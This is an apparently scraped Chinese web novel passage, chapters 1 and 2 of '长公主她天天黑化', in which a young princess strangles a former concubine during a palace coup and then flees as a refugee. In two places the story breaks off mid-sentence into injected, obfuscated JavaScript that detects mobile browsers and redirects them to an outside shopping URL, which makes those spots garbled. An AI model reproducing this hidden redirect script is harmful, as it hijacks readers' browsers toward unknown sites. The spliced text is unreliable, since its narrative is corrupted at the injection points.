《长公主她天天黑化》 1. 第 1 章 承安十二年,皇帝卧榻昏聩,终日不能理事。王氏、张氏趁乱联合府兵逼宫,大魏禁军措手不及,矢尽粮绝,大败亏输。 乱兵纵横内宫,妃嫔、宫娥、内侍惶怖奔窜,哭声震阙,宫人溺毙于灵芝九龙池以示忠烈者,不可胜数。 李瑛早就醒了,她是一个年纪尚小的女孩,身量单薄,瘦骨伶仃。 她套着一身偏大又半新不旧的牙红褶衣,下身是一件偏短的姜黄裤褶,头上的双鬟髻用脱了线的红头绳蔫巴地束着。 她屏住呼吸,警惕地趴在床底。 “李氏皇族同室操戈,手足相残,宜加赤族之诛,以雪苍生之愤!”宫墙外的呼喊声像潮水般涌来,夹杂着兵刃相击的锐响。 她眼睛一眨不眨地从床底的缝隙望去。只能看见一双双沾满泥泞与暗红血渍的军靴,以及那些垂在他们身侧的环首刀。 寒光凛凛的环首刀立在地上,黏稠的血珠正顺着刀锋不断滚落,在地面上溅开一朵朵狰狞的血花。 浓重的血腥味混杂着汗臭,充斥着整个房间,令人几欲作呕。 “混账!”一个身材高大的军士烦躁地抹了把脸,空气中弥漫的灰尘与血腥味让他连连皱眉:“快!撤!我们去外面找!” 等李瑛确定他们走后,自己跌跌撞撞地爬出床底,整个大成宫已然是人间炼狱,宫人们如无头苍蝇般四散奔逃,刃光霍霍,血雨潇潇。 李瑛如一尾灵巧的小鱼,在哭喊奔逃的人潮里灵巧地穿梭着,内宫的小径蜿蜒曲折,百转千回,她却笃定地朝着一个方向游动着。 掖庭的昭阳宫附近,一个锦衣华服的年轻妇人发髻散乱,珠钗歪斜,她咬牙切齿地咒骂,“一群没良心的贱骨头!” 远处传来刀剑相击的锐响,夹杂着濒死的惨嚎声。 卢香娘打了个寒颤,将包袱抱得更紧。不能死在这里,她是卢氏嫡女,是皇帝亲封的才人,怎能像那些贱婢一样死在乱军刀下? 她一边踉跄地拖拽着装满金银细软的包袱,一边咬牙切齿地咒骂那些撇下她独自逃命的奴婢。 李瑛认得这声音,那是曾经的才人卢香娘,如今早已被废为庶人了。 当初卢香娘为了巴结陆荣华,在伺候更衣时,特意献上自己带来的同心结为她佩戴。谁知陛下看见后竟勃然大怒。那是因为自皇后病逝,内宫便视同心结为禁忌,违者轻则贬黜,重则赐死。 生育了两个皇子皇女的陆荣华都被陛下降为美人,更别提刚刚入宫的卢香娘,直接被打入掖庭,与奴婢为伍。 陛下念及其父兄,并未绞杀她,只将在掖庭的暴室囚禁,不许她出来。 至此,咫尺天颜,再难得见。 她刚准备上前,袖子却猛地被人从后方拽住了。 李瑛倏然回头,对上一双惊惶未定的眼睛。 那是一个极清瘦的少年,今年不过十五岁,一身黄门郎打扮,他脸色雪白,嘴唇毫无血色,鹿眼里满是恐慌,显然是被一路的残肢断臂吓得不轻。 “阿瑛!”他声音发着颤,“我到处找都找不到你,你在这里做什么!” 不等李瑛回答,他急急忙忙就要拉她走,“咱们快走吧,趁现在贼人们正清点伤残,不少奴婢嫔妃都趁乱跑出去了,等过一会他们缓过劲来,咱们想跑都来不及了。” 李瑛还没来得及说话,卢香娘就注意到了这里的动静。 女人双眼血红,视线焦躁地逡巡着李瑛和江稚水,她猛地上前,原本如百灵鸟一般婉转的歌喉,如今却嘶哑如乌鸦,“贱婢!没长眼睛吗?还不快过来帮我拿着东西!” 李瑛乖顺地拾起卢香娘暴躁扔下的包袱,将它沉默地甩到自己身上,动作间没有丝毫犹豫或怨怼。 “罢了,”卢香娘见状,心下稍安,她扬起下巴,语气施舍,“看你还算伶俐。从今往后,你就跟着我吧。” 她拢了拢鬓边散落的发丝,骄傲地补充,“你知道我是谁吗?我可是卢才人。” 李瑛却低低地笑了起来,“被废入冷宫的才人卢氏,那可真是无人不知,无人不晓啊。” 卢香娘大怒,抬手就要打。 江稚水大惊失色,连忙挡住她,却迟了一步。 “啪!”一声脆响,但却不是手掌击中脸颊的声音。 李瑛狠狠地攥住了卢香娘的手腕,那力道大得惊人,卢香娘甚至听见自己腕骨发出细微的“咯咯”声。 少女的那双眼睛,亮得惊人,“我是李瑛。卢才人,多年不见,你忘了我了吗?” 卢香娘呲目欲裂,尖叫道:“你这贱婢!想做什么?!” 李瑛忽的咧嘴一笑,“做什么?我们之间可是隔着血海深仇呢。” 她幽幽叹息道,“我自然是来找你偿命的人啊。” 李瑛如变戏法一般从袖子里掏出一捆麻绳,她捧着麻绳,几乎是虔诚地将它套上了卢香娘的脖颈。 卢香娘瞪大着眼,她不明白这陌生的宫娥为何要治她于死地。 直到李瑛轻轻地撩开黏在脸颊上的乱发,漏出了她完整的容颜。 她右眼畸形,是一个重瞳子。 卢香娘脸上疯癫的神情僵滞了一瞬,紧接着是更为心虚、狐假虎威的张牙舞爪。 是了,她想起来了,她全都想起来了!眼前这眉眼沉静的女童,竟是当年那个被她杖毙的宫娥的义女! 那宫娥……叫什么来着? 李瑛的视线紧紧盯着她,“你忘记她了,那让我来告诉你。她姓魏,叫魏雪,她是与我相依为命数年的亲人。” 她冷笑连连,“你忘了她,可我忘不了。日日夜夜,年复一年,我从不敢忘。” “我忘不了你,我更忘不了是你害死了我的魏姨。” 卢香娘如梦初醒,她打着寒颤,连连后退。 李瑛是来找她复仇来着的! 魏姨死了三年了,在李瑛的记忆里,女人的面容都蒙上了一层柔和的光晕。 但是她仍忘不了魏姨怀抱的温度,那样的温暖,那样的让人安定。 小小的她跌跌撞撞地扑进魏雪的怀里,脸上还带着火辣辣的掌印,抽噎得上气不接下气:“阿母又打我了……她说我不是她的女儿!是克母的重瞳孽种!” “我是不是孽种?阿母说,她多希望当初死的是我,而不是阿兄。”她仰起哭花的小脸,眼睛肿得像桃子,“魏姨,阿母是不是真的不喜欢我?她是不是真的希望我死掉?” 魏姨抱着她的手臂就会收得很紧,李瑛能感到温热的液体一滴滴落在自己的发顶、颈窝,魏雪也在哭着。 当年卢香娘见皇帝震怒,为保全自己,一口咬定是魏雪暗中调换首饰、蓄意栽赃,将所有罪责扣在她的头上。 江稚水连连后退,他打着颤,“魏姨,她,她不是病死的吗?” 李瑛的目光从卢香娘惊惧的脸上缓缓移开。 “她是被人算计枉死的。”李瑛闭上了眼,声音很轻,“她死的时候,血都流尽了。” 这些年,日日夜夜,只要她一阖眼,那画面便如附骨之疽。 魏姨蜷在血泊里,皑皑白雪中格外刺目,女人单薄的衣衫被血浸透,紧紧地黏在皮开肉绽的背上。 官杖留下的棱印深深陷进皮肉,从脊梁到大腿,没有一块好肉,白骨隐约可见,猩红的血肉和翻卷的皮肉触目惊心。 血还在缓缓地流,融开一小片白雪,冒着微弱的热气,很快又被北风吹硬,冻在身上,简直是惨不忍睹。 李瑛抬起眼眸,向前又逼近一步,几乎能听见卢氏急促混乱的喘息,“她死得那样惨,那样冤,你夜里阖眼时,就不怕她浑身是血地站在你榻前,向你追魂索命吗?” 卢香娘厉声怒骂起来,五官扭曲着,额头青筋暴起,“她是第一天进宫吗?分明是她害了我!我根本不知道魏宫忌讳同心纹样。” “你的大宫女告诉她,刚进宫的卢才人看中了她的好手艺,想要请她做一些女工。” 李瑛歇斯底里道,“是你自己想要献媚于陆氏,你如今的下场是你咎由自取!而我的魏雪不过是奉命行事。” 李瑛眼里好似有火在烧,“你却把所有罪责都推到她身上,将她在众目睽睽下杖刑,把她活活打死,连收尸都不准,直接拖出去,让她咽了气都不得安生。” “我的魏雪,我的魏姨啊,她只是想要得到的赏钱给我买一件过冬的棉袄啊。”李瑛掐住卢香娘柔软细腻的面颊,卢香娘哭着,哀告连连。 魏雪的音容犹在,李瑛还记得那年女人将她揽在怀里,同她咬耳朵,热气呵在她耳边,有些痒痒的,像是小狗的尾巴搔她手心那样,“我从前最喜欢洛都的雪,和乌碑的雪不一样。我阿母就是在雪夜里生下的我……” 雪粒子沾在她睫毛上,她不舒服地眨着眼,却还是咧着嘴笑,露出一口比雪光还亮的大牙。 她抖着那件棉袄,眼尾会漾起细密的纹路:“瞧!多厚实,今年冬天再也冻不着我的小乖乖了。” “阿瑛。”江稚水拉住她。 李瑛停下脚步,却没有回头,只是侧过半张脸,声音沉静得可怕,“你觉得她不该死?” 江稚水摇摇头,一向纯净如琉璃的眼里,此刻翻涌着复杂的情绪,“不,是我不愿你犯杀孽。” 他的声音有些发涩,“我也是魏姨带大的孩子,我无父无母,只将你和她看作是唯一的亲人,咱们一起相依为命那么多年,她竟死的那样惨,我理应为她复仇,使她在天之灵安息。” 他抬起手,像是想触碰李瑛的脸,却又在半空中停住:“可是阿瑛,我怕你回不了头。” 李瑛转过身,摇了摇头。 “阿瑛!”江稚水又叫。 李瑛忍无可忍的回身,却看到了江稚水眼里纠结的痛苦,她垂下手,眼里满是警惕。 她后退一步,与他拉开距离,如同一头戒备的小兽,“你不愿意我杀她,为什么?” 江稚水用手捂住脸,嘴唇嗫嚅了几下,却什么都说不出来,“我……我不能说。” “不能?”李瑛重复这个词,眼神更冷了几分。 江稚水抬起头,他张了张嘴,最终却只是摇头:“阿瑛,有些事……我暂时还不能告诉你。但我求你,今夜,放过她。” 李瑛静静地看着他,那目光像在审视一个陌生人,她一把扯过江稚水,拉着他跪下,尖叫道,“你!你敢对着天,对着魏姨枉死的灵魂再说一遍吗?” 她抬起头,目光如针,直直刺入江稚水的眼底。“稚水,魏姨是死在我怀里的。” “我抱着她,能感觉到她的体温一点点流走,变得冰冷、僵硬。我的手上、衣上,全是她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她用力抻了抻麻绳,“不如让我给她一个痛快。” 卢香娘双眼外凸,喉咙里发出“嗬嗬”的怪响。 “她死后我夜夜梦见她。”李瑛贴在她耳边,听着卢氏急促混乱的喘息,少女的神情带着一种超脱的平静。 她好似听到了什么能够抚慰人心的天籁之音,脸色苍白淡然,与怀里卢氏紫涨的脸截然不同。 卢香娘双腿无力地蹬着地面,她两只手已经痉挛成了鸡爪,还在断断续续地抓挠那根麻绳,想要换取一丝的喘息之机。 她眼中溢出眼泪和血丝,努力挤出几个字,“是陆荣华……是她暗示我……” “都一样的。”李瑛木然道。 “最后,我再告诉你一个秘密。” 李瑛轻轻摇着头,“你还是不记得我是谁啊?我是元昭皇后的女儿,我也是大成的公主呢。” 她叹息道,”我还记得幼时你还抱过我呢。” 李瑛闭上眼睛,用尽全身力气勒紧绳索。 火光的热浪葳蕤着李瑛的视线,她眼眶热辣辣地涩疼。 视线朦胧间,卢香娘的面庞与自己昔年跪在雪地里告哀乞怜的狼狈面庞重叠,一会是自己昔年涕泪横流的哭脸,一会又是卢香娘因为缺氧变得绀紫色的面容。 渐渐的,求生欲望及其强烈的卢香娘终于停止了挣扎,不断扑腾的双脚也无力地垂了下来。 李瑛蹲在卢香娘的身侧,清点着她身上值钱的首饰,少女一面把几枚发簪从女尸头上拔下来,一面撸下她胳膊上的金丝琉璃臂钏。 李瑛把臂钏,一圈圈地把它盘在自己的胳膊上,再用衣衫盖住。 她凝了凝心神,抬起头,眼神掠过魏宫的上空,火更大了,天是红的,远处的房屋像是被人泼了血,无数碉楼画栋的宫殿在热浪中扭曲变形。 江稚水回头看了一眼死不瞑目的卢香娘,又闻着空气中的焦尸味,他胃里翻江倒海,有些想吐。 他忍不住跌坐在地上,抬头看着李瑛。 李瑛就站在那里,发丝凌乱,衣衫不整,脸颊却染着跃动的红光,眼神也带着一种奇异的平静。 “卢氏已死,身死债消,她的事,魏姨的事,我们往后都不提了。” 李瑛蹲下身,和他一起坐在地上,依赖地埋进他的肩窝。 片刻后,她抬起头,跳跃的火光照影在她的脸上,重瞳愈发妖异,给她清丽的面容蒙上一层红纱。 李瑛静静地看着他,“我与你自幼相识,你方才说的话,其实都是借口,我不知道你为什么拦着我,但是我知道你一定在说谎。” 察觉到江稚水逃避地移开目光,李瑛意味深长道:“稚水,你我之间,不必多言。” “你不想说的,我也不会问。” 江稚水叹息一声,用袖子轻轻拭去李瑛脸上凝结的血滴,轻轻嗯了一声。 “我们出宫去。”她声音很轻,却带着决绝,“再也不回来了。” “李氏皇族今日要大难临头了。不过,我不再是公主了。” 她握住他冰冷汗湿的手,稍稍用力,将他从地上拉起来。 “稚水,我们出宫去,这里的一切爱恨情仇都结束了。”李瑛疲惫地说。 风穿过燃烧的宫阙卷起她散落在脸颊的碎发,李瑛站在废墟中,身后是熊熊燃烧着的烈火。 她的脸上溅了些血迹,像是从阿鼻地狱里爬上来的修罗恶鬼,神色却带着菩萨般的悲悯,“他们会死,会为从前的所作所为付出代价,但是我会活着,我们会活下去。” 江稚水点了点头。 离开前,在李瑛注视的目光中,他上前阖上了卢香娘犹自睁大望天的双眼。 2. 第 2 章 逃难的平民汇成了一道浑浊灰暗的河流,这条队伍缓慢而滞重地涌动着。 人人都是一张灰败的脸,眼中写着同样的惊惶与麻木。 身上挎着鼓鼓囊囊的包袱,背上驼着赖以活命的粮袋,怀里搂着懵懂啼哭的婴孩,手里还吃力地拎着装有鸡鸭的竹笼。 牲畜不安地嘶鸣,散落的包袱、翻倒的鸡笼、踩掉的鞋子随处可见,空气里弥漫着汗臭、尘土和隐约的血腥气。 但是初升的朝阳还是将温软的、橙红色的光晕洒向大地,轻抚着焦黑的土地、杂乱的脚印。 李瑛凝视着这片混乱而宁静的晨光,“结束了,稚水,一切都结束了。” 她老气横秋地叹气,气息在微凉的空气里凝成一团白雾,“我的公主和奴婢生涯都结束了。” “好慢。”她的语气飘忽,像还陷在昨夜的梦魇里,“也好快。” “我好似做了好长的一个梦,”李瑛仰起头。 天空已有早起的鸟雀飞过,它们好奇着这条长长的队伍,成群结队地徘徊在上空飞行,形成一个诡异的圆形。 “现在梦醒了。”她深吸了一口清冽的空气,将胸腔里那股积郁的浊气吐了出去,“我也真正活过来了。” 天下主人的更替,是发生在大地上的大事。但无论前一夜经历了怎样的崩裂与哭嚎,天上的太阳,总会在第二日,照常升起。 千百年间,亘古不变。 江稚水臂弯里是李瑛温热身子,他唇角也跟着扬起,只是心里却漫开一片无端的柔软与酸楚。 水满则溢,月满则亏,他心中隐隐生出一丝不详。 秋风拂过道路两旁开始泛黄的草丛,带来泥土与枯草混杂的气息,清冽中透着淡淡的苦意。 他们成不了那个能在异乡安享富贵、道出“此间乐,不思蜀”的安乐公,也做不了忍辱负重、辗转列国十九载,终成霸业的晋文公重耳。 唯愿苟活,一蔬一饭,相依为命,已然是上天垂怜。 破旧的牛车吱呀呀驶过乡道,载着三个身份特殊、前途未卜的孩子,缓缓驶向不可知的未来。 天光,正一片大亮。 哪怕心里做好了准备,但是现在还是和江稚水预想中的不同,他们已经徒步走了两个月了。 李瑛背着件磨得发白的皂色包袱,埋着头走在最前面。 她牢牢地拽着一根粗粝的麻绳,麻绳在她掌心勒出深红的印子,麻绳另一头牢牢拴在一个男童细瘦的腕子上。 李瑛攥紧手中的麻绳,没好气地回头瞪了那男童一眼,“李瑗,走快些,我们要赶上他们,才能过夜。” 前面那小小的身影顿了顿,慢慢地转过一张小脸来。 那是一张与李瑛容貌极为相似的脸儿,大眼睛,高鼻梁,白皮肤。 只是那双眼睛的线条要更细长一些,五官的整体走势也更平缓柔和,少了李瑛眉宇间那股挥之不去的阴郁与戾气。 不同于李瑛俏似阿父阿母的饱满嘴唇,他是两片薄薄的花瓣唇,颜色淡粉的苍白。 那是皇八子李瑗,就是名义上在永宁寺修行的那位。 听到少女这话,李瑗瘦削的脸上竟浮出一丝温和笑意,却丝毫未达眼底,神情与李瑛如出一辙的带着冷意。 他行了个标准的合掌礼,姿态娴雅,“我叫阿难,不要叫我李瑗了。” 皇后慕容明春的阿父就是乌碑和汉人的混血,自他那一代开始异族的痕迹便逐渐被稀释。 到了李瑛身上,愈发淡薄,已敛去了绝大部分峥嵘的锐利。 坊间总说,女儿家肖父,这话大抵不差。 李瑛的骨相承袭了父亲李晟的清俊柔润,轮廓流畅。 至于鼻子,她天生生得一段润泽的秀挺,不似慕容明春那般如刀锋过境的挺拔,带着清晰的驼峰,反倒更接近李晟的精巧挺秀。 但是眼睫眉毛头发都很浓密,还有比洛都飘飘欲仙,食玉屑,吞黄金,以求更白皙细腻的世家男女更为瓷白润泽的肌肤,这些都要归功于她的阿母慕容明春。 而皇八子李瑗,倒是完全看不出慕容明春的影子。 或许是因为谁养的孩子,模样就像谁,慕容明春是一天也没有养过李瑗的。 自他出生,就被打包送去了修文殿由嫔妃代为抚养,这倒是千古第一遭。 李瑛越看越觉得李瑗这种笃信佛法神神叨叨的样子,真是和每日吃斋念佛的姚氏族学了一个十成十。 李瑛见和他说不通,翻了个白眼,江稚水苦笑地捏了捏她的手背, 李瑛不耐烦道,“懒得和你掰扯。”她眉头拧得死紧,声音里压着火,“单说你私自卖了牛车这笔账,我还没跟你算清楚!” 提起那辆牛车,李瑛心头的火苗就蹭蹭往上窜。 那是逃亡的第三日,秋老虎毒得很,李瑗忽然停下,双手合十,明明还很稚嫩的小脸,却摆出一副悲天悯人的神情:“阿姊,牛也累了一日了,众生平等,让它歇歇脚,吃些草吧。” 李瑛听他此言,以为是出家人慈悲,众生平等,闻言还愧疚了短短一瞬,由得李瑗牵它去吃草喝水。 自己也和江稚水靠坐在树下荫凉处歪着,休整一会,免得中暑脱水。 只是连日的惊恐奔波早耗干了精神,李瑛只觉得眼皮沉沉打架,她伏在江稚水膝头,不知不觉竟睡了过去。 这一睡,等她梦里惊醒,竟已是深夜时分,哪里还有李瑗和牛车的影子? 她和江稚水彻底慌了神,四处寻找,最后在一处陡峭的土沟底下,发现了摔得鼻青脸肿、哼哼唧唧爬不起来的男童。 李瑗的怀里还紧紧搂着个破旧的小包袱,等李瑛扒拉开一看,里头除了几块少得可怜的碎银,就只有一项灰扑扑的旧毡帽。 原来,他趁他们睡着,就牵着牛车寻了附近村落的人家去卖。 那买主见他年幼,又作沙弥打扮,只当是哪个小庙里趁乱跑出来的沙弥想独去逃命。 李瑗竟也浑不在意那买猪狠狠压了价,贱卖了牛车,扣上那顶破毡帽遮住光头,揣着这点钱就想独自溜走。 奈何他天生有夜盲的毛病,天色稍暗便视物不清,没走出几里地,就连人带包袱滚进了深沟。 男童黑黝黝的眼睛瞪着李瑛,“我不想跟你们走,我要回家去。” “回家?”李瑛气极反笑,拽了拽手里的绳子,“我们同父同母,我就是你的家人!你还想回哪个家?” 男童缓慢而坚定地摇了摇头,目光投向遥远的天际,仿佛能穿透这逃难路上的荒烟蔓草,看到洛都那熟悉的飞檐斗拱:“不,我要回永宁寺去。” 李瑛烦躁地揉了揉脸,“要不是我与你在文霄堂一同被囚禁了几年,你以为我稀得管你?你我和稚水大晚上的,兵荒马乱,大可以一走了之!” “早知今日,就该由得你去送死!” 见他扭过头不说话,李瑛忍不住爆了句粗口,连日来的疲惫、担忧、还有被这便宜阿弟屡次拖累的恼火一股脑涌了上来。 李瑛狠狠用指甲戳了戳他的脑门儿,恨铁不成钢道,“你在永宁寺这些年,不过是寄养在昙真法师膝下,连正式的戒都未曾受过,头上连个戒疤都没有,你算什么真正的僧人?那里早不是你的家了!” 李瑗抿紧了嘴唇,不吭声了,只用那双过于早熟的眼睛沉默地对抗着。 李瑛也瞪着他,自从那日她把想要逃走的男童硬留了下来,李瑗不吵不闹,就爱这样无声地表达抗议。 既然他也走不了了,李瑛也就不再看他,她默默掂了掂肩上的皂布包袱。 那包袱鼓鼓囊囊地塞满了沿途捡拾或换来的零碎杂物。 但是,只有她和身边的江稚水知道,包袱的最底下藏着一尊赤金小佛。 月光下的永宁寺,年轻僧人的神色是少见的郑重与托付:“这尊金佛,乃早年一位大檀越供奉寺中,师父代为保管已有数年。只是他老人家素来不喜金银之物,认为有碍修行清净。今日交与你,也算是物归原主。” 她和江稚水对着这尊突如其来的金佛商量了半宿。最后决定,除非到了山穷水尽、性命攸关的绝境,绝不动用它。 倒不是李瑛多么宝贝这金疙瘩,卢氏的首饰制作精美,但留着也是祸根,在这一路上早已被她陆续贱卖。 本以为变卖所得,怎么也够支撑到南楚,谁曾想在真正的灾荒面前,再昂贵的宝石珠玉也是中看不中用的,比不上半斗实实在在的粮食。 这些珠宝都换成了江稚水肩上那几袋越来越瘪的黍米和豆饼。 这尊金佛,是最后一点安身立命的本钱。 正想着,一旁传来江稚水温和的声音:“瑛瑛,”他还是不习惯这个称呼,唤得有些生涩,他顿了顿,才继续道,“把你的包袱给我背吧,我还能扛得住。” 李瑛转过头。 江斯水其实算不上不美,一张略瘦的瓜子脸,眉毛总是微微簇着,许是因为身子羸弱,许是因为心情郁结,眉梢缭绕着一种类似于青烟雨雾朦胧中的清新忧郁。 少年唇色是浅淡的粉,唇形薄而软,对着外人,常含着三分礼貌又疏离的笑意。这清秀到了底,便成了乏善可陈。 可他性情是真好。温和敦厚,未语先带笑,说话声气轻轻软软,像夏日淌过石隙的溪水,清凌凌的,透着甜。 少年眼睛极大,睫毛又密又卷,卧蚕肥嘟嘟的,显得很憨态可掬。这样清澈的眸子一眨一眨,说话温声细语,眼神如山野小鹿一样纯真无邪。 江稚水背的东西最多最沉,少年人挺直的背脊都有些佝偻了。 他额发被汗水浸湿,一缕缕地黏在苍白的额角,明明是极狼狈的境地,可他看向你呀的眼神,却依旧温煦澄澈。 江稚水甚至努力弯起嘴角,“等到了雍州安定下来,我们寻个带院的小屋。在墙根垒个泥炉,秋天便能煨芋头、烤粟子。” 是了,他们不去南楚,改去雍州了。 这个决定,多少有些被逼无奈的意味。 失去了代步的牛车,光靠两条腿,想要穿越兵荒马乱的大魏,简直痴人说梦,没到渡口,他们早就累死饿死在路上了。 而雍州这条路,最初是永宁寺的僧人指给他们的。 “大魏寿数已尽,尘埃落定。即便他日雍州也成为王氏囊中之物,只要二位檀越能遮掩身份,安分守己,也不会有什么闪失。等到了雍州,寻个安身立命之处,檀越也可以健康安乐地度过余生。这已是乱世中,难得的造化了。” “阿弥陀佛。”僧人悟尘的脸上终于露出一丝类似“欣慰”的笑容,“乱世之下,人人自危,能得此结局,这样就已经很好了。” 但是实际上他们去雍州对真正原因则是因为蝗灾就是由南楚飞向大魏的。 南楚受灾严重,其飞如云,其下如雨,所落之处,禾草俱尽,如今已然饿殣枕道、饿浮遍地了。 若他们执意去南楚,长树家就是最好的例子。 长树是他们逃难路途中遇上的伙伴,他今年十四岁,身板结实,一张晒得微黑的脸上总挂着憨实的笑。 他总爱往李瑛跟前凑,一见李瑛,便像只认主的小狗般眼巴巴凑过来,瓮声瓮气地问:“你在做啥?” 李瑛正蹲在树下,头也不抬:“掏鸟蛋。” 过会儿她在喝菜糊,他又蹭过来,“你在做啥?” 李瑛立刻把粗碗往怀里一搂,掀起眼皮警惕地瞥他:“吃野菜。”她顿了顿,加重语气,“不给你。” 少年也不恼,搓着爪子,嘿嘿笑着蹲在一旁看她吃。 等她背着小筐去拾柴,他不知又从哪儿冒出来:“你在做啥?” “捡柴。” “在做啥?” 李瑛终于烦了,把手里枯枝一扔,瞪他:“拉屎!你要看吗?” 长树这才挠着头,讪讪地退开两步,脸涨得通红。 李瑛是真烦他。 倒不是嫌他缠人,主要是觉得他傻,她在做什么不是一目了然吗?何必非要问出口? 每回瞧见那敦实身影颠颠地跑近,她便扭头朝江稚水撇撇嘴,用口型道:“看,那憨子又来了。” 长树又磨蹭过来,手里攥着个布包,鼻音嗡嗡的:“瑛瑛妹妹……你、你吃地瓜干不?”他递过布包,里面是几片晒得焦黄的地瓜干。 这在逃难途中可是难得的好东西,她没有拒绝的道理,李瑛瞥了一眼,干脆点头:“吃。”顿了顿,竟也被他那股子傻气带偏了,补了句,“俺没钱。” 小少年脸“唰”地红到了脚底板,急急摆手:“俺、俺不要钱!俺请……请妹妹吃。”说着把布包往她手里一塞。 一旁的江稚水微微蹙眉,刚要开口,便被几个瞧热闹的婶子笑嘻嘻拉住。其中一个圆脸婶子故意拔高声音逗李瑛:“瑛瑛啊,这地瓜干香不香?” 李瑛正用后槽牙费力啃着那干硬的零嘴,闻言含糊地“嗯”了一声,点点头。 “那要是嫁到长树阿兄家去,让你家婆顿顿给你地瓜干吃,好不好呀?”婶子挤眉弄眼,周围人都笑起来。 李瑛啃地瓜干的动作停了停,干脆道:“不好。” “咋不好哩?地瓜干管够呢!” “我要回家吃饭。”她答得理所当然。 “傻孩子,等你嫁了人,就是别人家的人了,咋能顿顿回你阿兄阿弟家吃呢?” 李瑛皱起鼻子,不太愿意搭理她们,但是为了礼貌,还是想了想,认真道:“那我在长春哥家吃饭,回我家睡觉。” 众人先是一愣,随即爆发出更大的笑声,几个婶子笑得前仰后合。 圆脸婶子抹着笑出的泪花,又问:“那你觉着,你长树哥这人俊不俊?” 李瑛扭头,仔细打量了一眼旁边已经羞得快要缩成一团的长树,摇摇头,冷淡道:“不俊。” “那你觉着,咱们这儿谁最俊?” 李瑛黑亮的眼珠转了转,掠过含笑望她的江稚水,掠过远处静坐的李瑗,最后抬手,食指一弯,指向自己的鼻尖。 人群静了一瞬,随即笑浪更高,婶子们笑成一团。 长树一家看中了李瑛的伶俐,启程去南楚前,他们是真动过带李瑛走的心思。 长树之母王妇嘴皮子都要磨破了,最后这妇人气得直拍大腿,指着江稚水,“你!天底下,哪有你这样做兄长的?你看看你妹子,跟着我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185476|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好歹能有口饱饭吃,有件囫囵衣裳穿,这才是真正为她好!” “孩子,你也是个半大孩子啊,没比你阿妹大几岁。与你攀谈这几日,也没听你提过阿父阿母,想必家里也是遭了难,可怜见的。” 她一个劲的撸下手上的戒指往江稚水手心里塞。“何苦呢?你一个人拖着两个弟妹,这兵荒马乱的,能走多远?你这是要把三个人都拖死在路上啊!” 她循循善诱,怀柔道,“你这孩子,怎么这么倔?婶子这样说就没意思了,哪里是卖孩子呢?是心疼你们!我们家虽不是什么高门大户,但也算薄有资财。” “等我们在楚国安顿下来,站稳了脚跟,我立刻就让你阿妹捎信来,把你们兄弟二人也接到家里去,绝不会让你们骨肉分离。婶子对天发誓!” 到最后一向温驯的江稚水脸涨的通红,浑身乱战,“想都别想,想都别想带走我妹妹。” “想让我们分离,除非我死。”李瑛一把扔下方才拾的柴,从斜刺里冲了过来,将江稚水护在身后。 少女原本因为疲惫而有些黯淡的眼睛,此刻亮得惊人,里面像是结了一层冰,寒意刺骨,“走!” 少女静如平湖动如山崩,她的气势太盛,眼神太冷,竟唬得王妇一时语塞。 长树终于忍不住,“哇”地一声哭了出来,一边哭一边伸手想去拉李瑛的袖子,被他母亲狠狠一巴掌拍开。 “我要阿瑛,我要阿瑛跟着我们。”少年哭得满脸鼻涕眼泪。 王妇恨铁不成钢的咬牙切齿,“没出息的种子”。 牛车就这样在李瑛警惕的目光下消失在夕阳的余韵下。 但是一个月后他们又灰溜溜地回来了。 长树家的确算是富户,家里两辆牛车,一辆坐着年迈的祖父母,一辆载着身怀六甲的嫂嫂和体弱多病的母亲,也算周全。 但是李瑛敏锐地发现,这次的回来一切都不不一样了,祖父母不见了,挺着大肚子的嫂嫂不见了,牛车、鸡鸭、连同稍值钱些的行李,全都不见了。 只剩下长树兄弟俩,搀扶着一位仿佛一夜之间老了二十岁、眼神呆滞的老妇人,而之前那个脸庞圆润的长树也瘦脱了相。 南边蝗灾过境,遮天蔽日,田亩颗粒无收,易子而食已非传闻。 他们一家,是变卖了所有,舍弃了无法同行的亲人,才勉强爬出了那片人间地狱。 南楚,去不得了。 是夜,江稚水从包袱里抽出那块最大的麻布单子,铺在略平整些的地上,就算是今晚的床了。 他身子骨本就弱,背上驮的又是最沉的粮袋,几乎是一沾地,不就睡熟了。 李瑛与他面对面躺着,听着他绵长安稳的呼吸,借着微弱的月光,能看清少年熟睡中仍微微蹙着的眉头。 李瑗也睡熟了,他皱着眉,紧闭着双眼,好似有些梦魇,这孩子打从生下来就命苦。 生母慕容明春产后不久后,便将他送给了姚氏抚养,这也是李瑛与他虽是一母所处,但是情感稀薄的原因之一。 姚氏信佛,不愿伤及宫外无辜婴儿,所以并不为他延请乳母,皇帝和皇后正为慕容氏争得头破血流,早就把李瑗这个儿子扔到九霄云外去,竟也由着她,硬生生地把他从米汤喂到大。 李瑗本来就是早产儿,自此身子更是孱弱。 那日李瑗滚进土沟那一摔,李瑛咬牙掏空了半袋黍米,才请动队伍里半吊子郎中给他瞧了瞧,可逃难途中又能有什么好药? 再李瑛的再三恳求下,不过是勉强接上骨头,但终究落下了病根,到如今李瑗走起路来还是有些跛脚,一瘸一瘸的。 李瑛望着他蜷缩的睡姿,又有些后悔白日里对他的冷眼催促,心里一阵发涩,哪里还睡得着。 她起身捡起李瑗脱在一旁的、补丁摞补丁的外衫,坐在两人中间,轻轻挥动着,替他们驱赶夜间的蚊虫。 起初,男人们三四人一组,整夜睁眼轮守。数夜无事,众人渐觉小题大做,便警惕松懈起来。 后来每夜只留一人值守,不过是图个心安罢了。 不远处篝火旁守夜的汉子瞧见了男人咧开干裂的嘴笑了笑,“小妹子,咋不睡咧?夜里不攒些力气,明儿个哪走得动路?” 他哑着嗓子,“这荒郊野外的,可得警醒些,当心那些饿绿了眼的……” 李瑛笑了笑。 